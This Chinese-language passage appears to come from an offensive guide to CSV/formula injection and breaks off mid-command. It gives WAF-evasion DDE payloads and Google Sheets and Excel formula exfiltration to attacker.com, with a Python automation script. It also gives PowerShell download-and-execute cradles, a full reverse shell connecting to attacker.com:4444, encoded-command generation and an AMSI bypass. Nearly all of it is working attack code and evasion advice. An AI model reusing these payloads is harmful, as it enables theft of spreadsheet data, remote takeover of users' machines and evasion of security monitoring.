# 检测 DDE payload 的 WAF 规则通常检查:
# - "=cmd|" 子串
# - "/c " 后跟可执行文件名
# - "powershell" + "-enc" 组合

# 规避 1: 使用 tab 字符分割
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "=c\tmd|'"'"'/c calc.exe'"'"'!A1"}'
# \t (TAB) 在 DDE 解析中被忽略

# 规避 2: 使用环境变量拼接
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "=cmd|'"'"'/c %COMSPEC:~-3% /c calc.exe'"'"'!A1"}'
# %COMSPEC:~-3% 展开为 cmd 的最后 3 字符

# 规避 3: 利用 Excel 公式构建命令
curl -i -X POST "http://target.com/api/invoice/update" \
  -H "Content-Type: application/json" \
  -d '{"invoice_note": "=c&\"md\"|'"'"'/c calc.exe'"'"'!A1"}'
# Excel 公式拼接 c & "md" = "cmd"
```

**检测规避要点**：
- DDE 需要用户点击"是"确认安全提示，但财务人员通常接受默认
- PowerShell `-EncodedCommand` (Base64 UTF-16LE) 绕过命令行长度限制和字符过滤
- `rundll32` + `URL.dll` 是 cmd 被封时的替代执行路径
- 换行符注入是绕过首字符过滤的最可靠方法
- 多字段注入增加触发概率（至少一个字段不被过滤）

---

### 攻击链 3：CSV 注入至 SaaS 导出功能（Google Sheets / Excel Online）

**场景**：目标 SaaS 应用（如 CRM/项目管理工具）支持导出到 Google Sheets 和 Excel Online。利用云端表格的 IMPORT* 函数实现无点击自动数据外带。

**CVE 参考**：CVE-2023-32314（Google Sheets IMPORTXML 信息泄露），云端表格函数滥用（非传统 CVE，属于功能滥用）。

**步骤 1：确认导出目标为云端表格**

```bash
# 检查 SaaS 应用的导出选项
curl -s "http://target.com/api/export/options" | python3 -m json.tool
# 可能返回:
# {
#   "formats": ["csv", "xlsx", "google_sheets", "excel_online"],
#   "google_sheets_integration": true,
#   "excel_online_integration": true
# }

# 确认导出数据包含用户可控字段
curl -s "http://target.com/api/tickets/export?format=csv" | head -3
# id,title,description,assignee,priority
# 1,Issue,用户提交的描述,user1,high
```

**步骤 2：Google Sheets IMPORTDATA 自动外带**

```bash
# Google Sheets 在打开/重算时自动执行 IMPORTDATA，无需用户点击
# 这是最强的云端外带向量

curl -i -X POST "http://target.com/api/tickets/create" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "正常工单标题",
    "description": "=IMPORTDATA(\"http://attacker.com/exfil?d=\"&A2&\"-\"&B2)"
  }'

# 当工单被导出到 Google Sheets 时:
# - A2 = id, B2 = title
# - IMPORTDATA 自动执行 → http://attacker.com/exfil?d=1-正常工单标题
# - 无需用户点击，打开表格即触发

# 使用 IMPORTXML 窃取数据（XML 解析模式）
curl -i -X POST "http://target.com/api/tickets/create" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "=IMPORTXML(\"http://attacker.com/?d=\"&A2, \"//a/@href\")"
  }'

# 使用 IMPORTHTML
curl -i -X POST "http://target.com/api/tickets/create" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "=IMPORTHTML(\"http://attacker.com/?d=\"&A2, \"table\", 1)"
  }'

# 使用 IMPORTFEED（RSS/Atom 解析）
curl -i -X POST "http://target.com/api/tickets/create" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "=IMPORTFEED(\"http://attacker.com/feed?d=\"&A2)"
  }'
```

**步骤 3：IMAGE 隐蔽外带（无弹窗）**

```bash
# IMAGE 函数加载图片，完全静默（无安全提示）
# 适合隐蔽外带少量数据

curl -i -X POST "http://target.com/api/tickets/create" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "=IMAGE(\"http://attacker.com/pixel.png?leak=\"&A2&\"&title=\"&B2)"
  }'

# 当 Google Sheets 打开时:
# - IMAGE 函数请求 http://attacker.com/pixel.png?leak=1&title=xxx
# - 攻击者服务器记录请求 → 获取单元格数据
# - 用户只看到一个小图片图标或空白

# 结合 ENCODEURL 处理特殊字符
curl -i -X POST "http://target.com/api/tickets/create" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "=IMAGE(\"http://attacker.com/p?d=\"&ENCODEURL(A2&B2&C2))"
  }'
```

**步骤 4：Excel Online WEBSERVICE 外带**

```bash
# Excel Online/M365 支持 WEBSERVICE 函数（数据集刷新时执行）
# 注意: Excel Online 禁用 DDE，但 WEBSERVICE 仍可用

curl -i -X POST "http://target.com/api/tickets/create" \
  -H "Content-Type: application/json" \
  -d '{
    "description": "=WEBSERVICE(\"http://attacker.com/exfil?data=\"&A2)"
  }'

# Power Query M 语言外带（服务器端执行，更强）
# 当 SaaS 导出为 Excel Online 且配置了 Power Query 数据集:
curl -i -X POST "http://target.com/api/tickets/create" \
  -H "Content-Type: application/json" \
  -d '{
    "description": "let Source = Web.Contents(\"http://attacker.com/?d=\" & Text.From(A2)) in Source"
  }'
# 若该字段被 Power Query 处理 → 服务器端外带（以数据集所有者身份）
```

**步骤 5：跨表格数据窃取（IMPORTRANGE）**

```bash
# IMPORTRANGE 可读取其他 Google Sheets 表格数据
# 攻击者创建一个恶意表格，注入 IMPORTRANGE 读取目标数据

# 步骤 1: 攻击者创建 Google Sheet 并获取 ID
# SHEET_ID = 1Abc...xyz

# 步骤 2: 注入 IMPORTRANGE payload
curl -i -X POST "http://target.com/api/tickets/create" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "=IMPORTRANGE(\"https://docs.google.com/spreadsheets/d/ATTACKER_SHEET_ID/edit\",\"Sheet1!A1:Z1000\")"
  }'

# 当目标用户导出到 Google Sheets 并打开时:
# - IMPORTRANGE 尝试读取攻击者的表格
# - Google 弹出 "允许访问" 提示
# - 若用户允许 → 攻击者表格获得对目标表格的读取权限
# - 攻击者可在自己表格中读取目标数据
```

**步骤 6：云端表格外带自动化**

```python
# saas_csv_injection.py - SaaS 云端表格 CSV 注入自动化
import requests
import json

TARGET = "http://target.com"

# Google Sheets 自动执行函数（无需点击）
SHEETS_PAYLOADS = {
    "importdata": '=IMPORTDATA("http://attacker.com:8080/?d="&A2&"-"&B2)',
    "importxml": '=IMPORTXML("http://attacker.com:8080/?d="&A2,"//a/@href")',
    "image": '=IMAGE("http://attacker.com:8080/p.png?d="&A2)',
    "importhtml": '=IMPORTHTML("http://attacker.com:8080/?d="&A2,"table",1)',
}

# Excel Online 可用函数
EXCEL_PAYLOADS = {
    "webservice": '=WEBSERVICE("http://attacker.com:8080/?d="&A2)',
    "hyperlink": '=HYPERLINK("http://attacker.com:8080/?d="&A2,"查看")',
}

def inject_to_saas(field, payload):
    """注入 payload 到 SaaS 应用字段"""
    r = requests.post(
        f"{TARGET}/api/tickets/create",
        headers={"Content-Type": "application/json"},
        json={"title": "正常标题", field: payload},
    )
    return r.status_code

# 注入 Google Sheets payload（自动执行）
print("[*] 注入 Google Sheets 外带 payload")
for name, payload in SHEETS_PAYLOADS.items():
    inject_to_saas("description", payload)
    print(f"  [+] 已注入: {name}")

# 注入 Excel Online payload
print("\n[*] 注入 Excel Online 外带 payload")
for name, payload in EXCEL_PAYLOADS.items():
    inject_to_saas("comment", payload)
    print(f"  [+] 已注入: {name}")

# 换行注入绕过（若首字符被过滤）
print("\n[*] 注入换行绕过 payload")
bypass_payload = "正常文本\r\n=IMPORTDATA(\"http://attacker.com:8080/?d=\"&A3)"
inject_to_saas("description", bypass_payload)
print("  [+] 换行注入已完成")

print("\n[*] 等待用户导出到 Google Sheets / Excel Online...")
print("[*] IMPORTDATA/IMAGE 将在表格打开时自动执行")
```

**检测规避要点**：
- Google Sheets 的 IMPORTDATA/IMPORTXML/IMAGE 在打开时**自动执行**，无需用户点击
- IMAGE 函数完全静默，用户只看到图片图标，无安全提示
- Excel Online 禁用 DDE，但 WEBSERVICE 在数据集刷新时执行
- IMPORTRANGE 实现跨表格数据窃取（需用户授权一次）
- Power Query `Web.Contents` 以数据集所有者身份服务器端执行

---

### 攻击链 4：CSV 注入至 PowerShell 命令执行

**场景**：目标应用的报表导出被注入 PowerShell DDE payload，通过 `=cmd|'/c powershell ...'!A1` 在 Windows + Excel 环境中执行 PowerShell 命令，实现下载执行、信息窃取和横向移动。

**CVE 参考**：DDE 攻击方法论（MITRE T1553.004），PowerShell 滥用（MITRE T1059.001）。

**步骤 1：PowerShell DDE 基础 payload**

```bash
# 基础: 执行 PowerShell 命令
# =cmd|'/c powershell -c <command>'!A1

# PoC: 弹出计算器（无害验证）
curl -i -X POST "http://target.com/api/report/update" \
  -H "Content-Type: application/json" \
  -d '{"report_note": "=cmd|'"'"'/c powershell -c calc'"'"'!A1"}'

# 验证: 执行 whoami 并输出到文件
curl -i -X POST "http://target.com/api/report/update" \
  -H "Content-Type: application/json" \
  -d '{"report_note": "=cmd|'"'"'/c powershell -c \"whoami > C:\\\\temp\\\\out.txt\"'"'"'!A1"}'
```

**步骤 2：PowerShell 下载执行（无文件攻击）**

```bash
# PowerShell 内存执行 payload（无文件落地，绕过 AV）
# IEX (Invoke-Expression) + WebClient 下载执行

# 构造 payload
PS_CMD='IEX(New-Object Net.WebClient).DownloadString("http://attacker.com/ps_payload.ps1")'
DDE_PAYLOAD="=cmd|'/c powershell -w hidden -c ${PS_CMD}'!A1"

curl -i -X POST "http://target.com/api/report/update" \
  -H "Content-Type: application/json" \
  -d "{\"report_note\": \"${DDE_PAYLOAD}\"}"

# 攻击者侧: 托管恶意 PowerShell 脚本
cat > /data/user/work/ps_payload.ps1 << 'PSEOF'
# 反向 Shell (PowerShell)
$client = New-Object System.Net.Sockets.TCPClient("attacker.com", 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | ForEach-Object { 0 }
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (Invoke-Expression $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}
PSEOF

# 启动 HTTP 服务器托管
cd /data/user/work && python3 -m http.server 80
```

**步骤 3：PowerShell EncodedCommand（绕过执行策略）**

```bash
# PowerShell -EncodedCommand 绕过执行策略和字符过滤
# 编码格式: UTF-16LE Base64

# 步骤 1: 编写 PowerShell 脚本
cat > /data/user/work/encode_ps.py << 'PYEOF'
import base64
import sys

# PowerShell 命令（反弹 shell）
ps_script = sys.argv[1] if len(sys.argv) > 1 else "whoami"

# UTF-16LE 编码后 Base64
encoded = base64.b64encode(ps_script.encode("utf-16-le")).decode()
print(encoded)
PYEOF

# 步骤 2: 生成编码 payload
REVERSE_PS='$c=New-Object Net.Sockets.TCPClient("attacker.com",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS ";$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}'

ENCODED=$(python3 /data/user/work/encode_ps.py "$REVERSE_PS")
echo "编码长度: ${#ENCODED}"

# 步骤 3: 构造 DDE payload
DDE="=cmd|'/c powershell -w hidden -nop -enc ${ENCODED}'!A0"

# 步骤 4: 注入
curl -i -X POST "http://target.com/api/report/update" \
  -H "Content-Type: application/json" \
  -d "{\"report_note\": \"${DDE}\"}"

# 步骤 5: 监听
nc -lvnp 4444
```

**步骤 4：绕过 PowerShell 日志和 AMSI**

```bash
# 现代 Windows 有 AMSI (反恶意软件扫描接口)
# 绕过 AMSI 的 PowerShell payload

# AMSI 绕过（反射加载卸载 AMSI）
AMSI_BYPASS='[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)'

# 组合: AMSI 绕过 + 反弹 shell
FULL_PS="${AMSI_BYPASS}; ${REVERSE_PS}"
ENCODED=$(python3 /data/user/work/encode_ps.py "$FULL_PS")

DDE="=cmd|'/c powershell -w hidden -nop -enc ${ENCODED}'!A0"

curl -i -X POST "http://target.com/api/report/update" \
  -H "Content-Type: application/json" \
  -d "{\"report_note\": \"${DDE}\"}"

# 绕过 PowerShell 脚本块日志（Event ID 4104）
# 使用 ScriptBlock 日志禁用
LOG_BYPASS='$GPF=[Ref].Assembly.GetType("System.Man

…(truncated)
